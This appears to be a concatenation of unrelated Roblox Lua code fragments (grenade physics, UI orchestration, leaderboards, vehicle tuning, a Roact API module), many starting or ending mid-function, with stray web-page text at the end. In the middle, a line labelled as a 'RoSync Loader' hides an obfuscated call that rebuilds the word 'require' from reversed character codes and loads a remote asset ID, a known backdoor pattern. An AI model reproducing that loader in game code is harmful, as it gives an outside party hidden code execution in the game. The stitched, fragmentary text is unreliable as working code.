Sound.SoundId = (Type == 1 and S.ExplosionSound or "rbxassetid://156283116")
Sound.Volume = 1
Sound.PlayOnRemove = true
Sound.Parent = Main
Grenade1.Parent = Gun_Ignore
Main.CanCollide = true
Main.CFrame = FakeRArm.CFrame * Grip.C0
if Type == 1 then
Main.Velocity = Main.Velocity + ((Head.CFrame * CFANG(RAD(7), 0, 0)).lookVector * S.LethalGrenadeThrowVelocity)
elseif Type == 2 then
Main.Velocity = Main.Velocity + ((Head.CFrame * CFANG(RAD(7), 0, 0)).lookVector * S.TacticalGrenadeThrowVelocity)
end
end
spawn(function()
if Type == 1 then
if S.LethalGrenadeType == 1 then
if S.TimerStartOnHit then
local Detonated = false
Main.Touched:connect(function(Obj)
if IsIgnored(Obj) or Detonated then return end
Main.Velocity = Main.Velocity / 4
Detonated = true
wait(S.DetonationTime)
DetonateExplosive(Main)
end)
else
spawn(function()
local Touched = false
Main.Touched:connect(function(Obj)
if IsIgnored(Obj) or Touched then return end
Touched = true
Main.Velocity = Main.Velocity / 4
end)
end)
wait(S.DetonationTime)
DetonateExplosive(Main)
end
elseif S.LethalGrenadeType == 2 then
local Detonated = false
local GrenadeCF = nil
Main.Touched:connect(function(Obj)
if IsIgnored(Obj) or Detonated then return end
GrenadeCF = Main.CFrame
local W = Instance.new("Weld")
W.Name = "Semtex"
W.Part0 = Main
W.Part1 = Obj
W.C0 = GrenadeCF:toObjectSpace(Obj.CFrame)
W.Parent = Main
Main.ChildRemoved:connect(function(C)
if C.Name == "Semtex" then
local W = Instance.new("Weld")
W.Name = "Semtex"
W.Part0 = Main
W.Part1 = Obj
W.C0 = GrenadeCF:toObjectSpace(Obj.CFrame)
W.Parent = Main
end
end)
if S.TimerStartOnHit then
Detonated = true
wait(S.DetonationTime)
DetonateExplosive(Main)
end
end)
if (not S.TimerStartOnHit) then
wait(S.DetonationTime)
Detonated = true
DetonateExplosive(Main)
end
elseif S.LethalGrenadeType == 3 then
local Touched = false
Main.Touched:connect(function(Obj)
if IsIgnored(Obj) or Touched then return end
Touched = true
local W = Instance.new("Weld")
W.Name = "Sticky"
W.Part0 = Main
W.Part1 = Obj
W.C0 = Main.CFrame:toObjectSpace(Obj.CFrame)
W.Parent = Main
Main.ChildRemoved:connect(function(C)
if C.Name == "Sticky" then
local W = Instance.new("Weld")
W.Name = "Sticky"
W.Part0 = Main
W.Part1 = Obj
W.C0 = Main.CFrame:toObjectSpace(Obj.CFrame)
W.Parent = Main
end
end)
if Obj then
if Obj.Parent.ClassName == "Hat" then
local HitHumanoid = FindFirstClass(Obj.Parent.Parent, "Humanoid")
if HitHumanoid and IsEnemy(HitHumanoid) then
local CreatorTag = Instance.new("ObjectValue")
CreatorTag.Name = "creator"
CreatorTag.Value = Player
CreatorTag.Parent = HitHumanoid
HitHumanoid:TakeDamage(HitHumanoid.MaxHealth)
MarkHit()
end
else
local HitHumanoid = FindFirstClass(Obj.Parent, "Humanoid")
if HitHumanoid and IsEnemy(HitHumanoid) then
local CreatorTag = Instance.new("ObjectValue")
CreatorTag.Name = "creator"
CreatorTag.Value = Player
CreatorTag.Parent = HitHumanoid
HitHumanoid:TakeDamage(HitHumanoid.MaxHealth)
MarkHit()
end
end
end
wait(3)
Main:Destroy()
end)
end
elseif Type == 2 then
if S.TacticalGrenadeType == 1 then
if S.TimerStartOnHit then
local Detonated = false
Main.Touched:connect(function(Obj)
if IsIgnored(Obj) or Detonated then return end
Main.Velocity = Main.Velocity / 2
Detonated = true
wait(S.DetonationTime)
DetonateSmoke(Main)
end)
else
spawn(function()
local Touched = false
Main.Touched:connect(function(Obj)
if IsIgnored(Obj) or Touched then return end
Touched = true
Main.Velocity = Main.Velocity / 2
end)
end)
wait(S.DetonationTime)
DetonateSmoke(Main)
end
end
end
end)
if S.GrenadeTrail and S.GrenadeTrailTransparency ~= 1 then
spawn(function()
local LastPos = nil
while true do
if LastPos then
if (not Main:IsDescendantOf(game))
or (Main.Name == "Knife" and FindFirstClass(Main, "Weld")) then
break
end
local Trail = Instance.new("Part")
Trail.BrickColor = S.GrenadeTrailColor
Trail.Transparency = S.GrenadeTrailTransparency
Trail.Anchored = true
Trail.CanCollide = false
Trail.Size = VEC3(1, 1, 1)
local Mesh = Instance.new("BlockMesh")
Mesh.Offset = VEC3(0, 0, -(Main.Position - LastPos).magnitude / 2)
Mesh.Scale = VEC3(S.GrenadeTrailThickness, S.GrenadeTrailThickness, (Main.Position - LastPos).magnitude)
Mesh.Parent = Trail
Trail.Parent = Gun_Ignore
Trail.CFrame = CF(LastPos, Main.Position)
delay(S.GrenadeTrailVisibleTime, function()
if S.GrenadeTrailDisappearTime > 0 then
local X = 0
while true do
if X == 90 then break end
if (not Selected) then break end
local NewX = X + (1.5 / S.GrenadeTrailDisappearTime)
X = (NewX > 90 and 90 or NewX)
local Alpha = X / 90
Trail.Transparency = NumLerp(S.GrenadeTrailTransparency, 1, Alpha)
RS:wait()
end
Trail:Destroy()
else
Trail:Destroy()
end
end)
LastPos = Main.Position
else
LastPos = Main.Position
end
RS:wait()
end
end)
end
wait(0.2)
end;
function()
TweenJoint(RWeld, CF(1.5, 0, 0) * CFANG(0, 0, RAD(-10)), CF(0, 0.6, 0), Linear, 0.2)
wait(0.3)
end;
function()
Grip.Part0 = RArm
Grip.C1 = CFANG(0, RAD(20), 0)
TweenJoint(LWeld, ArmC0[1], S.ArmC1_UnAimed.Left, Linear, 0.2)
TweenJoint(RWeld, ArmC0[2], S.ArmC1_UnAimed.Right, Linear, 0.2)
wait(0.2)
end;
}
for _,F in pairs(AnimTable) do
if (not Selected) then
break
end
F()
end
if (not Selected) and Grenade0 then
Grenade0:Destroy()
end
end
|
--
|
function module:GetShieldSkin(Skin)
local inv = game.ReplicatedStorage.Inventory.Shields
for i,v in pairs(inv.Common:GetChildren()) do
if v.Name == Skin then
return v.Value
else
for i,v in pairs(inv.Rare:GetChildren()) do
if v.Name == Skin then
return v.Value
else
for i,v in pairs(inv.Epic:GetChildren()) do
if v.Name == Skin then
return v.Value
else
for i,v in pairs(inv.Legendary:GetChildren()) do
if v.Name == Skin then
return v.Value
else
print("Couldn't find the skin info")
return nil
end
end
end
end
end
end
end
end
end
|
-- Events
|
ClientOrchestration.ClientSceneMetadataEvent = Orchestra.Events.ClientEvents.ClientSceneMetadata
ClientOrchestration.SendMediaControllerConfig = Orchestra.Events.MediaControllerConfigEvents.SendMediaControllerConfig
ClientOrchestration.Seek = Orchestra.Events.ClientEvents.Seek
ClientOrchestration.SceneEnded = Orchestra.Events.ClientEvents.SceneEnded
ClientOrchestration.SeekPermissionsEvent = Orchestra.Events.ClientEvents.SeekPermissions
ClientOrchestration.SeekerGuiComponent = nil
ClientOrchestration.playerGui = Players.LocalPlayer:WaitForChild("PlayerGui")
ClientOrchestration.taskLib = task
ClientOrchestration._warn = function(msg)
warn(msg)
end
ClientOrchestration._require = function(file)
return require(file)
end
ClientOrchestration.handleSeekPermissionsEvent = function(hasPermission)
if hasPermission and not ClientOrchestration.SeekerGuiComponent then
local SeekerGuiElement = ClientOrchestration.Roact.createElement(ClientOrchestration.SeekerGui)
ClientOrchestration.SeekerGuiComponent = ClientOrchestration.Roact.mount(
SeekerGuiElement,
ClientOrchestration.playerGui,
"SceneSeeker"
)
end
if not hasPermission and ClientOrchestration.SeekerGuiComponent then
if ClientOrchestration.SeekerGuiComponent then
ClientOrchestration.Roact.unmount(ClientOrchestration.SeekerGuiComponent)
ClientOrchestration.SeekerGuiComponent = nil
end
end
end
ClientOrchestration.ClientSceneMetadataRequestConnection = nil
ClientOrchestration.setupSchema = function()
ClientOrchestration.isSeekable = false
local lastCalledOrchestrationTime = ClientOrchestration.lastCalledOrchestrationTime
local setupSuccess, setupError = ClientOrchestration.SchemaProcessorInstance:Setup()
local isSameScene = lastCalledOrchestrationTime == ClientOrchestration.lastCalledOrchestrationTime
if not setupSuccess then
ClientOrchestration._warn("Client Schema Setup wasn't successful")
ClientOrchestration._warn(setupError)
elseif isSameScene then
ClientOrchestration.isSeekable = true
end
return setupSuccess
end
ClientOrchestration.processSchema = function()
local processSuccess, processError = ClientOrchestration.SchemaProcessorInstance:Process()
if not processSuccess then
ClientOrchestration._warn("Client Schema Process wasn't successful")
ClientOrchestration._warn(processError)
end
end
ClientOrchestration.cleanUp = function()
if ClientOrchestration.SchemaProcessorInstance then
ClientOrchestration.SchemaProcessorInstance:CleanUp()
end
end
ClientOrchestration.handleSceneEnded = function()
if ClientOrchestration.SchemaProcessorInstance then
local endSceneSuccess, endSceneError = ClientOrchestration.SchemaProcessorInstance:EndScene()
if not endSceneSuccess then
ClientOrchestration._warn("Client End Scene wasn't successful")
ClientOrchestration._warn(endSceneError)
end
ClientOrchestration.cleanUp()
end
end
|
--[[script.Parent.MouseButton2Down:connect(ClickB)
script.Parent.MouseButton2Up:connect(UnclickB)--]]
| |
-- for i,v in pairs(script.Parent.Parent.Body.phone:GetChildren()) do
-- v.Transparency = 0
-- end
|
player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
if player and (not player.PlayerGui:FindFirstChild("Screen")) then --// The part after the "and" prevents multiple GUI's to be copied over.
GUI.CarSeat.Value = script.Parent --// Puts a reference of the seat in this ObjectValue, now you can use this ObjectValue's value to find the car directly.
GUI:Clone().Parent = player.PlayerGui --// Compact version
end
end
end
end)
script.Parent.ChildRemoved:connect(function(child)
if child:IsA("Weld") then
if child.Part1.Name == "HumanoidRootPart" then
game.Workspace.CurrentCamera.FieldOfView = 70
player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
if player and player.PlayerGui:FindFirstChild("SS3") then
player.PlayerGui:FindFirstChild("SS3"):Destroy()
|
-- [[ Dummiez's Data Store Score Board ]]
-- This script updates the Data store with the values from the remote function.
|
wait(1)
local ods = game:GetService("DataStoreService"):GetOrderedDataStore("TopCoins")
function updateBoard(board, data)
for k,v in pairs(data) do
local pos = k
local name = v.key
local score = v.value
local dispname = board:findFirstChild("Name"..pos)
local dispval = board:findFirstChild("Score"..pos)
dispname.Text = tostring(name)
dispval.Text = tostring(score)
end
end
while true do
wait(script.Refresh.Value)
local pages = ods:GetSortedAsync(false, 10)
local data = pages:GetCurrentPage()
updateBoard(game.Workspace.HighScore.ScoreBlock.SurfaceGui, data)
end
|
--[[ Last synced 10/14/2020 09:42 || RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
|
-- Compiled with roblox-ts v2.1.0
|
local default = {
["0"] = 0,
["50"] = 0.5,
["75"] = 0.75,
["90"] = 0.9,
["95"] = 0.95,
["100"] = 1,
["105"] = 1.05,
["110"] = 1.1,
["125"] = 1.25,
["150"] = 1.5,
}
return {
default = default,
}
|
-- KEY IS DOWN --
--UIS.InputBegan:Connect(function(Input, isTyping)
-- if isTyping then return end
-- if not Char then return end
-- if Char:FindFirstChild("Disabled") then return end
| |
--[[
Packages up the internals of Roact and exposes a public API for it.
]]
|
local GlobalConfig = require(script.GlobalConfig)
local createReconciler = require(script.createReconciler)
local createReconcilerCompat = require(script.createReconcilerCompat)
local RobloxRenderer = require(script.RobloxRenderer)
local strict = require(script.strict)
local Binding = require(script.Binding)
local robloxReconciler = createReconciler(RobloxRenderer)
local reconcilerCompat = createReconcilerCompat(robloxReconciler)
local Roact = strict {
Component = require(script.Component),
createElement = require(script.createElement),
createFragment = require(script.createFragment),
oneChild = require(script.oneChild),
PureComponent = require(script.PureComponent),
None = require(script.None),
Portal = require(script.Portal),
createRef = require(script.createRef),
createBinding = Binding.create,
Change = require(script.PropMarkers.Change),
Children = require(script.PropMarkers.Children),
Event = require(script.PropMarkers.Event),
Ref = require(script.PropMarkers.Ref),
mount = robloxReconciler.mountVirtualTree,
unmount = robloxReconciler.unmountVirtualTree,
update = robloxReconciler.updateVirtualTree,
reify = reconcilerCompat.reify,
teardown = reconcilerCompat.teardown,
reconcile = reconcilerCompat.reconcile,
setGlobalConfig = GlobalConfig.set,
-- APIs that may change in the future without warning
UNSTABLE = {
},
}
return Roact
|
-- rotato
|
for i,v in pairs(script.Parent:GetChildren()) do
if v.Name == "Propeller" then
coroutine.resume(coroutine.create(function()
while task.wait() do
v.CFrame = v.CFrame * CFrame.Angles(math.rad(15),0,0)
end
end))
end
end
|
--SSML.Rotation = SSML.Rotation + Vector3.new(0,0,-90)
|
SSML.Name = "ML"
SSML.Transparency = 1
SSML.CFrame = FL.CFrame
SSML.Attachment.Rotation = Vector3.new(0,0,90)
local SSMR = FR:Clone()
SSMR.CanCollide = false
SSMR.Parent = susp
|
--// No-opt connect Server>Client RemoteEvents to ensure they cannot be called
--// to fill the remote event queue.
|
local function emptyFunction()
--intentially empty
end
local function GetObjectWithNameAndType(parentObject, objectName, objectType)
for _, child in pairs(parentObject:GetChildren()) do
if (child:IsA(objectType) and child.Name == objectName) then
return child
end
end
return nil
end
local function CreateIfDoesntExist(parentObject, objectName, objectType)
local obj = GetObjectWithNameAndType(parentObject, objectName, objectType)
if (not obj) then
obj = Instance.new(objectType)
obj.Name = objectName
obj.Parent = parentObject
end
useEvents[objectName] = obj
return obj
end
|
--F.headLights = function(Tog)
-- for i,v in pairs(script.Parent.Parent.Parent:getChildren()) do
-- if v:FindFirstChild('Head') or v:FindFirstChild('Tail') then
-- v.BGUI.Enabled = (carSeat.Ignition.Value == 1 and Tog or false)
-- v.SpotLight.Enabled = (carSeat.Ignition.Value == 1 and Tog or false)
-- end
-- end
-- carSeat.Headlights.Value = (carSeat.Ignition.Value == 1 and Tog or false)
--end
|
script.Parent.OnServerEvent:connect(function(Player, Func, ...)
if F[Func] then
F[Func](...)
end
end)
|
--[[Wheel Alignment]]
|
--[Don't physically apply alignment to wheels]
--[Values are in degrees]
Tune.FCamber = -2.5
Tune.RCamber = -2
Tune.FToe = 0
Tune.RToe = 0
|
-- TODO Luau: needs overloads to model this more correctly
|
return function<T>(value: { [string]: T } | Array<T> | string): Array<T> | Array<string>
if value == nil then
error("cannot extract values from a nil value")
end
local valueType = typeof(value)
local array: Array<T> | Array<string>
if valueType == "table" then
array = {} :: Array<T>
for _, keyValue in pairs(value :: { [string]: T } | Array<T>) do
table.insert(array, keyValue)
end
elseif valueType == "string" then
-- optimization to avoid rehashing/growth
local valueStringLength = (value :: string):len()
array = table.create(valueStringLength)
for i = 1, valueStringLength do
(array :: Array<string>)[i] = (value :: string):sub(i, i)
end
end
return array
end
|
--------------------------------------------------------------------------------
-- 32-BIT BITWISE FUNCTIONS
--------------------------------------------------------------------------------
-- Only low 32 bits of function arguments matter, high bits are ignored
-- The result of all functions (except HEX) is an integer inside "correct range":
-- for "bit" library: (-TWO_POW_31)..(TWO_POW_31-1)
-- for "bit32" library: 0..(TWO_POW_32-1)
|
local bit32_band = bit32.band -- 2 arguments
local bit32_bor = bit32.bor -- 2 arguments
local bit32_bxor = bit32.bxor -- 2..5 arguments
local bit32_lshift = bit32.lshift -- second argument is integer 0..31
local bit32_rshift = bit32.rshift -- second argument is integer 0..31
local bit32_lrotate = bit32.lrotate -- second argument is integer 0..31
local bit32_rrotate = bit32.rrotate -- second argument is integer 0..31
|
-- If you want to know how to retexture a hat, read this: http://www.roblox.com/Forum/ShowPost.aspx?PostID=10502388
|
debounce = true
function onTouched(hit)
if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
debounce = false
h = Instance.new("Hat")
p = Instance.new("Part")
h.Name = "Hat" -- It doesn't make a difference, but if you want to make your place in Explorer neater, change this to the name of your hat.
p.Parent = h
p.Position = hit.Parent:findFirstChild("Head").Position
p.Name = "Handle"
p.formFactor = 0
p.Size = Vector3.new(-0,-0,-1)
p.BottomSurface = 0
p.TopSurface = 0
p.Locked = true
script.Parent.Mesh:clone().Parent = p
h.Parent = hit.Parent
h.AttachmentPos = Vector3.new(0,0.125,-0.325) -- Change these to change the positiones of your hat, as I said earlier.
wait(5) debounce = true
end
end
script.Parent.Touched:connect(onTouched)
|
-- Making some calculations based on configurations
|
local waitBetweenSegments = 0.05
local segmentsPerSecond = 1/waitBetweenSegments
local numSegments = range / bulletSpeed * segmentsPerSecond
local segmentLength = range / numSegments
local dropPerSegment = segmentLength * bulletDrop / 100
local dropAngle = -math.tan(dropPerSegment / segmentLength)
|
-- Modules
|
local CreateTrail = require(script.CreateTrail)
local SpiralModule = { }
function SpiralModule.Init(Part: BasePart, Properties: table)
-- Properties
local Frequency = Properties.Frequency or math.huge
-- Physics Properties
local Radius = Properties.Radius or 2
local Lifetime = Properties.Lifetime or math.huge
local Time = Properties.Time or 0.45
local Offset = Properties.Offset or 0.05
for _ = 1, Frequency do
local Connection
local Index = 0
-- Trail Properties
local Size = Properties.Size or 0.275
local Color = Properties.Color or Color3.fromRGB(255, 255, 255)
local Transparency = Properties.Transparency or 0
local Info = TweenInfo.new(Time, Enum.EasingStyle.Linear, Enum.EasingDirection.In, -1)
local RotationPart = Instance.new('Part')
RotationPart.Anchored, RotationPart.CanCollide = true, false
RotationPart.CanTouch, RotationPart.CanQuery = false, false
RotationPart.CFrame = Part.CFrame * CFrame.new(0, -(Part.Size.Y / 2), 0)
RotationPart.Size = Vector3.one
RotationPart.Transparency = 1
RotationPart.Parent = Part
TweenService:Create(RotationPart, Info, {Orientation = RotationPart.Orientation + Vector3.new(0, 360, 0)}):Play()
local TPart = Instance.new('Part')
TPart.Anchored, TPart.CanCollide = true, false
TPart.CanTouch, TPart.CanQuery = false, false
TPart.CFrame = RotationPart.CFrame
TPart.Size = Vector3.one
TPart.Transparency = 1
TPart.Parent = workspace.Effects
local Trail = CreateTrail(TPart, Size, Color, Transparency)
Connection = RunService.RenderStepped:Connect(function(Delta)
Index = (Index + Delta / Lifetime) % 1
local Alpha = 2 * math.pi * Index
RotationPart.CFrame = RotationPart.CFrame * CFrame.new(0, Offset, 0)
TPart.CFrame = RotationPart.CFrame * CFrame.Angles(0, Alpha, 0) * CFrame.new(0, 0, Radius)
end)
task.wait(1.35)
Trail.Enabled = false
Debris:AddItem(RotationPart, 1)
Debris:AddItem(TPart, 1)
task.wait(1)
Connection:Disconnect()
end
end
return SpiralModule
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.